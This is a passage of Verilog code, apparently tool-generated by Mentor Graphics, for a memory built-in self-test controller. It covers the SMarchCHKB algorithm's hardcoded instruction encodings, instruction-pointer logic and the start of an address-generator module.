2'b00: LAST_STATE_INT = (MEM_RST) ? (BIST_RUN & NEXT_STATE_TRUE && (INST_POINTER == 5'b01100)) : (BIST_RUN & NEXT_STATE_TRUE && (INST_POINTER == 5'b10010));
2'b01: LAST_STATE_INT = (BIST_RUN & NEXT_STATE_TRUE && (INST_POINTER == 5'b00110));
2'b10: LAST_STATE_INT = (BIST_RUN & NEXT_STATE_TRUE && (INST_POINTER == 5'b00111));
2'b11: LAST_STATE_INT = (BIST_RUN & NEXT_STATE_TRUE && (INST_POINTER == 5'b10010));
endcase
end
assign LAST_STATE = LAST_STATE_INT;
assign LAST_STATE_DONE = LAST_STATE_DONE_REG;
//--------------------------
//-- Hardcoded algorithms (1)
//--------------------------
// Algorithm: SMARCHCHKB Instructions: 19 {{{
// Instruction: INST0_IDLE_PH_1 INST_POINTER: 0 {{{
assign INSTRUCTION0_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b0 , // [33:33] NextConditions: X1_EndCount
1'b0 , // [32:32] NextConditions: Y1_EndCount
5'b00000 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b0010 , // [21:18] ExpectDataCmd
4'b0011 , // [17:14] WriteDataCmd
3'b000 , // [13:11] AddressSelectCmd
3'b000 , // [10:8] X1AddressCmd
3'b000 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b000 }; // [2:0] OperationSelect
// Instruction: INST0_IDLE_PH_1 }}}
// Instruction: INS1_PH_2 INST_POINTER: 1 {{{
assign INSTRUCTION1_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b0 , // [33:33] NextConditions: X1_EndCount
1'b0 , // [32:32] NextConditions: Y1_EndCount
5'b00001 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b1 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b0010 , // [21:18] ExpectDataCmd
4'b0011 , // [17:14] WriteDataCmd
3'b000 , // [13:11] AddressSelectCmd
3'b000 , // [10:8] X1AddressCmd
3'b000 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b011 }; // [2:0] OperationSelect
// Instruction: INS1_PH_2 }}}
// Instruction: INS2_PH_2 INST_POINTER: 2 {{{
assign INSTRUCTION2_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b0 , // [33:33] NextConditions: X1_EndCount
1'b0 , // [32:32] NextConditions: Y1_EndCount
5'b00010 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b0011 , // [21:18] ExpectDataCmd
4'b0011 , // [17:14] WriteDataCmd
3'b000 , // [13:11] AddressSelectCmd
3'b000 , // [10:8] X1AddressCmd
3'b000 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b011 }; // [2:0] OperationSelect
// Instruction: INS2_PH_2 }}}
// Instruction: INS3_PH_3 INST_POINTER: 3 {{{
assign INSTRUCTION3_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b0 , // [33:33] NextConditions: X1_EndCount
1'b0 , // [32:32] NextConditions: Y1_EndCount
5'b00011 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b0011 , // [21:18] ExpectDataCmd
4'b0010 , // [17:14] WriteDataCmd
3'b000 , // [13:11] AddressSelectCmd
3'b000 , // [10:8] X1AddressCmd
3'b000 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b011 }; // [2:0] OperationSelect
// Instruction: INS3_PH_3 }}}
// Instruction: INS4_PH_3 INST_POINTER: 4 {{{
assign INSTRUCTION4_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b0 , // [33:33] NextConditions: X1_EndCount
1'b0 , // [32:32] NextConditions: Y1_EndCount
5'b00100 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b0010 , // [21:18] ExpectDataCmd
4'b0010 , // [17:14] WriteDataCmd
3'b000 , // [13:11] AddressSelectCmd
3'b000 , // [10:8] X1AddressCmd
3'b000 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b010 }; // [2:0] OperationSelect
// Instruction: INS4_PH_3 }}}
// Instruction: INS5_IDLE_PH_4 INST_POINTER: 5 {{{
assign INSTRUCTION5_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b0 , // [33:33] NextConditions: X1_EndCount
1'b0 , // [32:32] NextConditions: Y1_EndCount
5'b00101 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b0010 , // [21:18] ExpectDataCmd
4'b0010 , // [17:14] WriteDataCmd
3'b000 , // [13:11] AddressSelectCmd
3'b000 , // [10:8] X1AddressCmd
3'b000 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b000 }; // [2:0] OperationSelect
// Instruction: INS5_IDLE_PH_4 }}}
// Instruction: INS6_PH_5 INST_POINTER: 6 {{{
assign INSTRUCTION6_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b1 , // [33:33] NextConditions: X1_EndCount
1'b1 , // [32:32] NextConditions: Y1_EndCount
5'b00110 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b1 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b0000 , // [21:18] ExpectDataCmd
4'b0000 , // [17:14] WriteDataCmd
3'b000 , // [13:11] AddressSelectCmd
3'b010 , // [10:8] X1AddressCmd
3'b010 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b011 }; // [2:0] OperationSelect
// Instruction: INS6_PH_5 }}}
// Instruction: INS7_PH_6 INST_POINTER: 7 {{{
assign INSTRUCTION7_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b1 , // [33:33] NextConditions: X1_EndCount
1'b1 , // [32:32] NextConditions: Y1_EndCount
5'b00111 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b0000 , // [21:18] ExpectDataCmd
4'b0001 , // [17:14] WriteDataCmd
3'b000 , // [13:11] AddressSelectCmd
3'b010 , // [10:8] X1AddressCmd
3'b010 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b011 }; // [2:0] OperationSelect
// Instruction: INS7_PH_6 }}}
// Instruction: INS8_PH_7 INST_POINTER: 8 {{{
assign INSTRUCTION8_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b1 , // [33:33] NextConditions: X1_EndCount
1'b1 , // [32:32] NextConditions: Y1_EndCount
5'b01000 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b0001 , // [21:18] ExpectDataCmd
4'b0000 , // [17:14] WriteDataCmd
3'b000 , // [13:11] AddressSelectCmd
3'b010 , // [10:8] X1AddressCmd
3'b010 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b011 }; // [2:0] OperationSelect
// Instruction: INS8_PH_7 }}}
// Instruction: INST9_IDLE_PH_8 INST_POINTER: 9 {{{
assign INSTRUCTION9_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b0 , // [33:33] NextConditions: X1_EndCount
1'b0 , // [32:32] NextConditions: Y1_EndCount
5'b01001 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b0010 , // [21:18] ExpectDataCmd
4'b0010 , // [17:14] WriteDataCmd
3'b000 , // [13:11] AddressSelectCmd
3'b000 , // [10:8] X1AddressCmd
3'b000 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b000 }; // [2:0] OperationSelect
// Instruction: INST9_IDLE_PH_8 }}}
// Instruction: INS10_PH_9 INST_POINTER: 10 {{{
assign INSTRUCTION10_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b0 , // [33:33] NextConditions: X1_EndCount
1'b0 , // [32:32] NextConditions: Y1_EndCount
5'b01010 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b1 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b1001 , // [21:18] ExpectDataCmd
4'b1001 , // [17:14] WriteDataCmd
3'b010 , // [13:11] AddressSelectCmd
3'b000 , // [10:8] X1AddressCmd
3'b000 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b011 }; // [2:0] OperationSelect
// Instruction: INS10_PH_9 }}}
// Instruction: INS11_PH_9 INST_POINTER: 11 {{{
assign INSTRUCTION11_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b0 , // [33:33] NextConditions: X1_EndCount
1'b0 , // [32:32] NextConditions: Y1_EndCount
5'b01011 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b1001 , // [21:18] ExpectDataCmd
4'b1001 , // [17:14] WriteDataCmd
3'b010 , // [13:11] AddressSelectCmd
3'b010 , // [10:8] X1AddressCmd
3'b000 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b010 }; // [2:0] OperationSelect
// Instruction: INS11_PH_9 }}}
// Instruction: INS12_PH_10 INST_POINTER: 12 {{{
assign INSTRUCTION12_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b1 , // [33:33] NextConditions: X1_EndCount
1'b1 , // [32:32] NextConditions: Y1_EndCount
5'b01100 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b0010 , // [21:18] ExpectDataCmd
4'b1001 , // [17:14] WriteDataCmd
3'b010 , // [13:11] AddressSelectCmd
3'b010 , // [10:8] X1AddressCmd
3'b010 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b001 }; // [2:0] OperationSelect
// Instruction: INS12_PH_10 }}}
// Instruction: INS13_PH_11 INST_POINTER: 13 {{{
assign INSTRUCTION13_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b0 , // [33:33] NextConditions: X1_EndCount
1'b0 , // [32:32] NextConditions: Y1_EndCount
5'b01101 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b1001 , // [21:18] ExpectDataCmd
4'b1000 , // [17:14] WriteDataCmd
3'b010 , // [13:11] AddressSelectCmd
3'b000 , // [10:8] X1AddressCmd
3'b000 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b011 }; // [2:0] OperationSelect
// Instruction: INS13_PH_11 }}}
// Instruction: INS14_PH_11 INST_POINTER: 14 {{{
assign INSTRUCTION14_WIRE = { 1'b1 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b1 , // [33:33] NextConditions: X1_EndCount
1'b1 , // [32:32] NextConditions: Y1_EndCount
5'b01101 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b01 , // [23:22] RepeatLoop
4'b1000 , // [21:18] ExpectDataCmd
4'b1000 , // [17:14] WriteDataCmd
3'b010 , // [13:11] AddressSelectCmd
3'b010 , // [10:8] X1AddressCmd
3'b010 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b011 }; // [2:0] OperationSelect
// Instruction: INS14_PH_11 }}}
// Instruction: INS15_PH_13 INST_POINTER: 15 {{{
assign INSTRUCTION15_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b0 , // [33:33] NextConditions: X1_EndCount
1'b0 , // [32:32] NextConditions: Y1_EndCount
5'b01111 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b1001 , // [21:18] ExpectDataCmd
4'b1000 , // [17:14] WriteDataCmd
3'b010 , // [13:11] AddressSelectCmd
3'b000 , // [10:8] X1AddressCmd
3'b000 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b011 }; // [2:0] OperationSelect
// Instruction: INS15_PH_13 }}}
// Instruction: INS16_PH_13 INST_POINTER: 16 {{{
assign INSTRUCTION16_WIRE = { 1'b1 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b1 , // [33:33] NextConditions: X1_EndCount
1'b1 , // [32:32] NextConditions: Y1_EndCount
5'b01111 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b10 , // [23:22] RepeatLoop
4'b1000 , // [21:18] ExpectDataCmd
4'b1000 , // [17:14] WriteDataCmd
3'b010 , // [13:11] AddressSelectCmd
3'b011 , // [10:8] X1AddressCmd
3'b011 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b010 }; // [2:0] OperationSelect
// Instruction: INS16_PH_13 }}}
// Instruction: INS17_PH_15 INST_POINTER: 17 {{{
assign INSTRUCTION17_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b0 , // [33:33] NextConditions: X1_EndCount
1'b0 , // [32:32] NextConditions: Y1_EndCount
5'b10001 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b1001 , // [21:18] ExpectDataCmd
4'b1010 , // [17:14] WriteDataCmd
3'b010 , // [13:11] AddressSelectCmd
3'b000 , // [10:8] X1AddressCmd
3'b000 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b011 }; // [2:0] OperationSelect
// Instruction: INS17_PH_15 }}}
// Instruction: INS18_PH_15 INST_POINTER: 18 {{{
assign INSTRUCTION18_WIRE = { 1'b0 , // [35:35] NextConditions: RepeatLoopEndCount
1'b0 , // [34:34] NextConditions: CounterAEndCount
1'b1 , // [33:33] NextConditions: X1_EndCount
1'b1 , // [32:32] NextConditions: Y1_EndCount
5'b10001 , // [31:27] BranchToInstruction
1'b0 , // [26:26] CounterACmd
1'b0 , // [25:25] InhibitDataCompare
1'b0 , // [24:24] InhibitLastAddressCount
2'b00 , // [23:22] RepeatLoop
4'b1010 , // [21:18] ExpectDataCmd
4'b1010 , // [17:14] WriteDataCmd
3'b010 , // [13:11] AddressSelectCmd
3'b010 , // [10:8] X1AddressCmd
3'b010 , // [7:5] Y1AddressCmd
2'b00 , // [4:3] Add_Reg_A_Equals_B
3'b010 }; // [2:0] OperationSelect
// Instruction: INS18_PH_15 }}}
// Algorithm: SMARCHCHKB }}}
//------------------------------------------------
//-- Select hardcoded or softcoded instructions --
//------------------------------------------------
// [start] : hard vs soft code {{{
assign INSTRUCTION0 = INSTRUCTION0_WIRE ;
assign INSTRUCTION1 = INSTRUCTION1_WIRE ;
assign INSTRUCTION2 = INSTRUCTION2_WIRE ;
assign INSTRUCTION3 = INSTRUCTION3_WIRE ;
assign INSTRUCTION4 = INSTRUCTION4_WIRE ;
assign INSTRUCTION5 = INSTRUCTION5_WIRE ;
assign INSTRUCTION6 = INSTRUCTION6_WIRE ;
assign INSTRUCTION7 = INSTRUCTION7_WIRE ;
assign INSTRUCTION8 = INSTRUCTION8_WIRE ;
assign INSTRUCTION9 = INSTRUCTION9_WIRE ;
assign INSTRUCTION10 = INSTRUCTION10_WIRE ;
assign INSTRUCTION11 = INSTRUCTION11_WIRE ;
assign INSTRUCTION12 = INSTRUCTION12_WIRE ;
assign INSTRUCTION13 = INSTRUCTION13_WIRE ;
assign INSTRUCTION14 = INSTRUCTION14_WIRE ;
assign INSTRUCTION15 = INSTRUCTION15_WIRE ;
assign INSTRUCTION16 = INSTRUCTION16_WIRE ;
assign INSTRUCTION17 = INSTRUCTION17_WIRE ;
assign INSTRUCTION18 = INSTRUCTION18_WIRE ;
// [end] : hard vs soft code }}}
wire RESET_REG_SETUP1_BISTON;
assign RESET_REG_SETUP1_BISTON = RESET_REG_SETUP1 | (~BIST_ON);
//synopsys sync_set_reset "RESET_REG_SETUP1_BISTON"
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
LAST_STATE_DONE_REG <= 1'b0;
else
if (RESET_REG_SETUP1_BISTON) begin
LAST_STATE_DONE_REG <= 1'b0;
end else begin
if (LAST_TICK & ~BIST_HOLD & ~LAST_STATE_DONE_REG & BIST_RUN) begin
LAST_STATE_DONE_REG <= LAST_STATE;
end
end
end
assign LAST_STATE_DONE_INT = LAST_STATE_DONE_REG;
assign INST_POINTER_SI = SI;
wire INST_POINTER_SYNC_RESET;
assign INST_POINTER_SYNC_RESET = RESET_REG_SETUP1 | ESOE_RESET;
// synopsys sync_set_reset "INST_POINTER_SYNC_RESET"
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
INST_POINTER <= 5'b00000;
else
if (INST_POINTER_SYNC_RESET) begin
INST_POINTER <= 5'b00000;
end else begin
if (BIST_SHIFT_SHORT) begin
INST_POINTER <= {INST_POINTER[3:0], INST_POINTER_SI};
end else begin
if (LAST_TICK & ~BIST_HOLD & ~LAST_STATE_DONE_INT & BIST_RUN) begin
INST_POINTER <= NEXT_POINTER;
end
end
end
end
assign INST_POINTER_SO = INST_POINTER[4];
// Checkerboard phase enable for the SMarchCHKB family of algorithms.
// Algorithm: SMARCHCHKB
assign CHKBCI_PHASE_INT = (ALGO_MODE == 2'b10 | ALGO_MODE == 2'b11) ? (INST_POINTER == 5'b00001) | (INST_POINTER > 5'b00101) & (INST_POINTER < 5'b1001) : (INST_POINTER > 5'b00101) & (INST_POINTER < 5'b1001);
assign CHKBCI_PHASE = CHKBCI_PHASE_INT;
function automatic [4:0] INC_POINTER;
input [4:0] INST_POINTER;
reg TOGGLE;
integer i;
begin
INC_POINTER[0] = ~INST_POINTER[0];
TOGGLE = 1;
for (i=1; i<=4; i=i+1) begin
TOGGLE = INST_POINTER[i-1] & TOGGLE;
INC_POINTER[i] = INST_POINTER[i] ^ TOGGLE;
end
end
endfunction
endmodule // SMARCHCHKB_LVISION_MBISTPG_POINTER_CNTRL
/*------------------------------------------------------------------------------
Module : SMARCHCHKB_LVISION_MBISTPG_ADD_FORMAT
Description : This module formats the logical address generated by the
address generator. The address formater currently performs
only two functions. The first is to drive any padding values
for multiplexed addresses with unequal row and column
address buses. The second function is to drive forced
address values.
-------------------------------------------------------- (c) Mentor Graphics */
module SMARCHCHKB_LVISION_MBISTPG_ADD_FORMAT (
Y_ADDRESS ,
X_ADDRESS ,
COLUMN_ADDRESS ,
ROW_ADDRESS
);
input [2:0] Y_ADDRESS;
input [9:0] X_ADDRESS;
output [2:0] COLUMN_ADDRESS;
output [9:0] ROW_ADDRESS;
assign ROW_ADDRESS = X_ADDRESS;
assign COLUMN_ADDRESS = Y_ADDRESS;
endmodule // SMARCHCHKB_LVISION_MBISTPG_ADD_FORMAT
/*------------------------------------------------------------------------------
Module : SMARCHCHKB_LVISION_MBISTPG_ADD_GEN
Description : This module generates the logical address to be applied to
the memory under test.
Two address registers are implemented in this architecture.
Each of the address registers consists of an X and a Y
component (Row and Column component). Each of the X or Y
addresses can be segmented into an X1 and X0 component for
the X address or a Y1 and Y0 component for the Y address.
-------------------------------------------------------- (c) Mentor Graphics */
module SMARCHCHKB_LVISION_MBISTPG_ADD_GEN (
BIST_CLK ,
BIST_RUN ,
RESET_REG_DEFAULT_MODE ,
BIST_ASYNC_RESETN ,
SI ,
SO ,
BIST_SHIFT_SHORT ,
BIST_HOLD ,
LAST_TICK ,
MBISTPG_REDUCED_ADDR_CNT_EN ,
ESOE_RESET ,
ADD_Y1_CMD ,
ADD_X1_CMD ,
ADD_REG_SELECT ,
INH_LAST_ADDR_CNT ,
Y1_MINMAX_TRIGGER ,
X1_MINMAX_TRIGGER ,
X_ADDRESS ,
Y_ADDRESS ,
A_EQUALS_B_TRIGGER
);
input BIST_CLK;
input BIST_RUN;
input RESET_REG_DEFAULT_MODE;
input BIST_ASYNC_RESETN;
input SI;
input BIST_SHIFT_SHORT;
input BIST_HOLD;
input LAST_TICK;
input MBISTPG_REDUCED_ADDR_CNT_EN;
input ESOE_RESET;
input [2:0] ADD_Y1_CMD;
input [2:0] ADD_X1_CMD;
input [2:0] ADD_REG_SELECT;
input INH_LAST_ADDR_CNT;
output SO;
output Y1_MINMAX_TRIGGER;
output X1_MINMAX_TRIGGER;
output A_EQUALS_B_TRIGGER;
output [9:0] X_ADDRESS;
output [2:0] Y_ADDRESS;
wire [9:0] AX_ADD_WIRE, BX_ADD_WIRE;
reg [9:0] AX_ADD_REG;
reg [9:0] BX_ADD_REG;
wire [2:0] AY_ADD_WIRE, BY_ADD_WIRE;
reg [2:0] AY_ADD_REG;
reg [2:0] BY_ADD_REG;
wire [9:0] AX_MASK;
wire [9:0] BX_MASK;
wire [2:0] AY_MASK;
wire [2:0] BY_MASK;
wire [1:0] A_SCAN_REGISTER, B_SCAN_REGISTER;
wire [1:0] A_SCAN_WIRE, B_SCAN_WIRE;
wire [1:0] SELECT_REG;
wire ENABLE_A_ADD_REG, ENABLE_B_ADD_REG;
wire A_ADD_REG_SI, B_ADD_REG_SI;
wire INCY1, DECY1, SETY1MAX, SETY1MIN ;
wire INCX1, DECX1, SETX1MAX, SETX1MIN;
wire ROT_LF_A_ADD_REG, ROT_RT_A_ADD_REG;
wire ROT_LF_B_ADD_REG;
wire [2:0] Y_R, Y_RP, Y_RCO, Y_RCI;
reg [2:0] NEXT_Y_ADD_COUNT;
wire [2:0] Y_ADD_CNT;
wire [2:0] Y_ADD_CNT_MAX, Y_ADD_CNT_MIN;
wire [1:0] Y_ADD_ROT_OUT;
wire [1:0] Y_ADD_ROT_IN_REG;
wire [9:0] X_R, X_RP, X_RCO, X_RCI;
reg [9:0] NEXT_X_ADD_COUNT;
wire [9:0] X_ADD_CNT;
wire [9:0] X_ADD_CNT_MAX, X_ADD_CNT_MIN;
wire [3:0] X_ADD_ROT_OUT;
wire [1:0] X_ADD_ROT_IN_REG;
wire Y1_MIN, Y1_MAX;
wire Y1_SET_MIN, Y1_SET_MAX;
wire Y1_MAX_TRIGGER, Y1_MIN_TRIGGER;
wire Y1_MINMAX_TRIGGER_INT;
wire Y1_CNT_EN;
wire X1_MIN, X1_MAX;
wire X1_SET_MIN, X1_SET_MAX;
wire X1_MAX_TRIGGER, X1_MIN_TRIGGER;
wire X1_MINMAX_TRIGGER_INT;
wire X1_CNT_EN;
wire Y1_ADD_SEGMENT_LINK;
wire Y1_CNT_EN_CONDITIONS;
wire Y1_CNT_EN_TRIGGER;
wire A_Y1_ADD_SEGMENT_LINK_REG, B_Y1_ADD_SEGMENT_LINK_REG;
wire X1_ADD_SEGMENT_LINK;
wire X1_CNT_EN_CONDITIONS;
wire X1_CNT_EN_TRIGGER;
wire A_X1_ADD_SEGMENT_LINK_REG, B_X1_ADD_SEGMENT_LINK_REG;
wire A_SCAN_REGISTER_SI;
wire B_SCAN_REGISTER_SI;
wire A_SCAN_REGISTER_SO;
wire B_SCAN_REGISTER_SO;
wire AX_ROT_RT_OUT_SELECTED;
wire AX_ROT_RT_IN_SELECTED;
reg AX_ROT_IN_SELECTED;
reg BX_ROT_IN_SELECTED;
wire [1:0] X_ADD_ROT_IN_SELECTED;
reg AX_ROT_OUT_SELECTED;
reg BX_ROT_OUT_SELECTED;
wire [9:0] X_ADD_REG_MIN_DEFAULT;
wire [9:0] X_ADD_REG_MAX_DEFAULT;
wire [3:0] X_ADD_ROT_OUT_DEFAULT;
wire [1:0] X_ADD_ROT_IN_DEFAULT;
wire AY_ROT_RT_OUT_SELECTED;
wire AY_ROT_RT_IN_SELECTED;
wire [1:0] Y_ADD_ROT_IN_SELECTED;
reg AY_ROT_IN_SELECTED;
reg BY_ROT_IN_SELECTED;
reg AY_ROT_OUT_SELECTED;
reg BY_ROT_OUT_SELECTED;
wire [2:0] Y_ADD_REG_MIN_DEFAULT;
wire [2:0] Y_ADD_REG_MAX_DEFAULT;
wire [1:0] Y_ADD_ROT_OUT_DEFAULT;
wire [1:0] Y_ADD_ROT_IN_DEFAULT;
assign A_ADD_REG_SI = (BIST_SHIFT_SHORT) ? SI :
AX_ADD_REG[9];
assign B_ADD_REG_SI = (BIST_SHIFT_SHORT) ? A_SCAN_REGISTER_SO :
BX_ADD_REG[9];
assign SO = B_SCAN_REGISTER_SO;
assign X_ADDRESS = (SELECT_REG[1] == 1'b1) ? BX_ADD_REG ^ AX_ADD_REG : X_ADD_CNT;
assign Y_ADDRESS = (SELECT_REG[1] == 1'b1) ? BY_ADD_REG ^ AY_ADD_REG : Y_ADD_CNT;
assign Y1_MINMAX_TRIGGER = Y1_MINMAX_TRIGGER_INT;
assign X1_MINMAX_TRIGGER = X1_MINMAX_TRIGGER_INT;
assign A_EQUALS_B_TRIGGER = 1'b0;
assign Y1_CNT_EN_CONDITIONS =Y1_ADD_SEGMENT_LINK;
assign X1_CNT_EN_CONDITIONS =X1_ADD_SEGMENT_LINK;
//
// AddressSelectCmd Decode
// ---------------- ------
// Select_A 3'b000
// Select_A_Copy_To_B 3'b001
// Select_B 3'b010
// Select_B_Copy_To_A 3'b011
// A_Xor_B 3'b100
// Select_A_Rotate_B 3'b101
// Select_B_Rotate_A 3'b110
// Select_B_RotateRight_A 3'b111
//
// 1 enables A xor B
assign SELECT_REG[1] = (ADD_REG_SELECT == 3'b100 );
// 0 selects A; 1 selects B
assign SELECT_REG[0] = (ADD_REG_SELECT == 3'b010 ) ||
(ADD_REG_SELECT == 3'b011 ) ||
(ADD_REG_SELECT == 3'b110 ) ||
(ADD_REG_SELECT == 3'b111 ) ;
assign ENABLE_A_ADD_REG = (ADD_REG_SELECT == 3'b000 ) ||
(ADD_REG_SELECT == 3'b001 ) ||
(ADD_REG_SELECT == 3'b011 ) ||
(ADD_REG_SELECT == 3'b101 ) ||
(ADD_REG_SELECT == 3'b110 ) ||
(ADD_REG_SELECT == 3'b111 ) ||
(ADD_REG_SELECT == 3'b100 ) ;
assign ENABLE_B_ADD_REG = (ADD_REG_SELECT == 3'b001 ) ||
(ADD_REG_SELECT == 3'b010 ) ||
(ADD_REG_SELECT == 3'b011 ) ||
(ADD_REG_SELECT == 3'b101 ) ||
(ADD_REG_SELECT == 3'b110 ) ||
(ADD_REG_SELECT == 3'b111 ) ;
// Rotate left from LSB to MSB
assign ROT_LF_A_ADD_REG = (ADD_REG_SELECT == 3'b110 ) ;
assign ROT_LF_B_ADD_REG = (ADD_REG_SELECT == 3'b101 ) ;
// Rotate right from MSB to LSB
assign ROT_RT_A_ADD_REG = (ADD_REG_SELECT == 3'b111 ) ;
//
